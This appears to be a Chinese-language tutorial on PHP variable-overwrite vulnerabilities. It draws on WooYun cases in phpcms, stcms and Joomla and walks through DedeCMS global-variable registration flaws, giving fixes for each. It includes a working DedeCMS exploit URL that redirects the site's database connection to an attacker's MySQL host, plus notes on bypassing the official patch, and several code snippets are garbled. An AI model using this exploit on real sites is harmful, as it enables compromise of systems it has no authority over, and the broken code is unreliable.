1.變數沒有初始化的問題(1):
wooyun連線1:[link href="wooyun: phpcms v9 member表內容隨意修改漏洞"]tenzy[/link]
$updateinfo['password'] = $newpassword;裡面的陣列沒有初始化類似這樣的賦值,我們在挖洞的時候搜尋類似updateinfo這樣的關鍵字看看
是否初始化,如果沒有。。。且register_global=on支援
可以提交
updateinfo[amount]
這樣的陣列隨意修改自己的餘額、點數、會員組、vip等一切存放在member表的資訊.
修復:$updateinfo = array();
變數沒有初始化的問題(2):
wooyun連線2:[link href="wooyun: stcms的乙個sql注射"]zvall[/link]
裡面說明了繞過程式的防禦,這個是導致注入的乙個因素. 更多因素是因為where變數沒有初始化!
case 'list':
$totalnum = $mysql->numtable("member", $where);
where沒初始化 導致可執行任意sql語句
修復:在類呼叫前加上$where='';
我們在挖洞的時候搜尋類似where這樣的關鍵字看,看看是否初始化.
變數沒有初始化的問題(3):
wooyun連線3: [link href="wooyun: joomla變數覆蓋導致註冊提權漏洞"]牛奶坦克[/link]
// 這個地方獲取使用者註冊資訊,post進來的jform陣列,但是沒有詳細指定
$requestdata = jrequest::getvar('jform', array(), 'post', 'array');
$data = (array)$this->getdata();
// 遍歷出註冊資訊
foreach ($temp as $k => $v)
看似沒問題的可是二維陣列的特性可以覆蓋住:
jfrom[groups]=7,利用foreach的問題覆蓋掉groups陣列,變成7(administrator)。
修復:像wooyun連線1那樣$updateinfo['password'] = $newpassword
類似這樣賦值。 或者檢查陣列是否為二維。
2.核心**配置問題引發變數覆蓋:
dedecms:例子(1):
一. 了解php超級全域性變數
下面是php的超級全域性變數,可以了解乙個特性,全是陣列。
$globals, 所有全域性變數陣列
$_server, 伺服器環境變數陣列
$_get,通過get方法傳遞給指令碼的變數陣列
$_post, 通過post方法傳遞給指令碼的變數陣列
$_cookie,cookie變數陣列
$_request,所有使用者輸入的變數陣列,包括$_get, $_post和$_cookie所包含的輸入內容
$_files,與檔案上傳相關得變數陣列
$_env,環境變數陣列
$_session,會話變數陣列
二:理解$_get變數
可以寫個php來看看:
<?php
var_dump($_get);
?>
訪問/test.php?key=value
得到array(1)
ok,看到這裡應該明白了,$_get就是個陣列,我們用get方法可以傳乙個陣列。
再訪問
/test.php?key[arr1]=value
得到array(1) }
我們通過get方法傳入了乙個巢狀陣列。
到這裡其實問題就出來了,很多php安全資料都沒提過get傳巢狀陣列的這個特性,偶爾在幾個exploit裡看到 - -!
三. 深入跟進dedecms全域性變數註冊漏洞
真正理解了$_get變數後,我們來深入跟進這個漏洞產生的真正原因,模擬一下漏洞的全過程:
提交乙個巢狀陣列:
/test.php?_post[globals][cfg_dbname]=x
array(1) } }
假如資料傳入了dedecms程式,在第一層過濾,dedecms會檢查$_request裡有沒有全域性變數的關鍵字,但我們的key
是_post且是個陣列,所以輕鬆繞過。
foreach($_request as $_k=>$_v)
}
接著進入真正的註冊變數流程,按順序是先從$_get變數註冊的,我們的key是(_post),第一輪遍歷$_get成功註冊
了變數$_post,第二輪遍歷$_post成功註冊了變數$globals !
foreach(array('_get','_post','_cookie') as $_request)
= _runmagicquotes($_v);
}
到這裡漏洞的原因就清楚了,程式通過$_get註冊了$_post,通過$_post註冊了$globals!
四. 領悟漏洞後的修補
完全領悟這個漏洞後,就會知道怎麼修補了。
1. 可以看看discuz是怎麼做的,當發現key的第乙個字元存在_就不註冊變數。
foreach(array('_cookie', '_post', '_get') as $_request) != '_' && $$_key = daddslashes($_value);
} }
2. dedecms可以用下面的方法臨時修補,當遍歷$_post註冊變數,發現變數名存在globals就會阻止註冊變數。
foreach(array('_get','_post','_cookie') as $_request)
$ = _runmagicquotes($_v);
} }
例子exp:織夢**後台/login.php?dopost=login&validate=dcug&userid=賬號&pwd=密碼& _post[globals]
[cfg_dbhost]=mysql外鏈ip&_post[globals] [cfg_dbuser]=mysql的賬號&_post[globals][cfg_dbpwd]=mysql的密碼& _post[globals]
[cfg_dbname]=自己的dedecms的資料庫
dedecms:例子(2): 突破官網補丁(雞助)
0x5sec
為什麼超全域性變數$_request沒有讀取到$_cookie的引數呢?這個是php 5.3以後php.ini預設設定
request_order = "gp",所以***!如果你修改request_order = "gpc",$_request應該就可以接受到引數了!
所以如果php是大於5.3的,變數覆蓋漏洞應該可以再次利用!
checkrequest($_request);
//這裡檢查變數是否合法 漏洞缺陷!$_cookie的引數根本不鳥他。。。
更多連線:
3.yaseng php變數覆蓋例項:
yaseng 介紹得很詳細了,各種突破.
對於dedecms例子2中:有部分人說& _post[0xhex 16進製制][cfg_dbhost] //globals
這樣能繞過? 本人測試多次不成功,可能是某些問題,也可能
是假的.
PHP 變數覆蓋漏洞
php中的變數覆蓋漏洞 變數覆蓋 自定義的引數值替換原有變數值的情況稱為變數覆蓋漏洞 經常導致變數覆蓋漏洞場景有 開啟了全域性變數註冊 使用不當 extract 函式使用不當 parse str 函式使用不當 import request variables 使用不當等。在 php5.3 之前,預設...
PHP變數覆蓋漏洞小結
變數覆蓋漏洞是需要我們需要值得注意的乙個漏洞,下面就對變數覆蓋漏洞進行乙個小總結。變數覆蓋指的是可以用我們自定義的引數值替換程式原有的變數值,通常需要結合程式的其他功能來實現完整攻擊。那麼它是如何引起的?其實,大多數變數覆蓋漏洞是函式使用不當導致的。比如extract 函式和parse str 還有...
變數覆蓋漏洞
變數覆蓋指的是可以用我們自定義的引數值替換程式原有的變數值 經常引發變數覆蓋漏洞的函式有 extract parse str 和import request variables 函式 一 使用函式不當 1.extract 函式 該函式有三種情況會覆蓋掉已有變數 第一種情況是第二個引數為extr ov...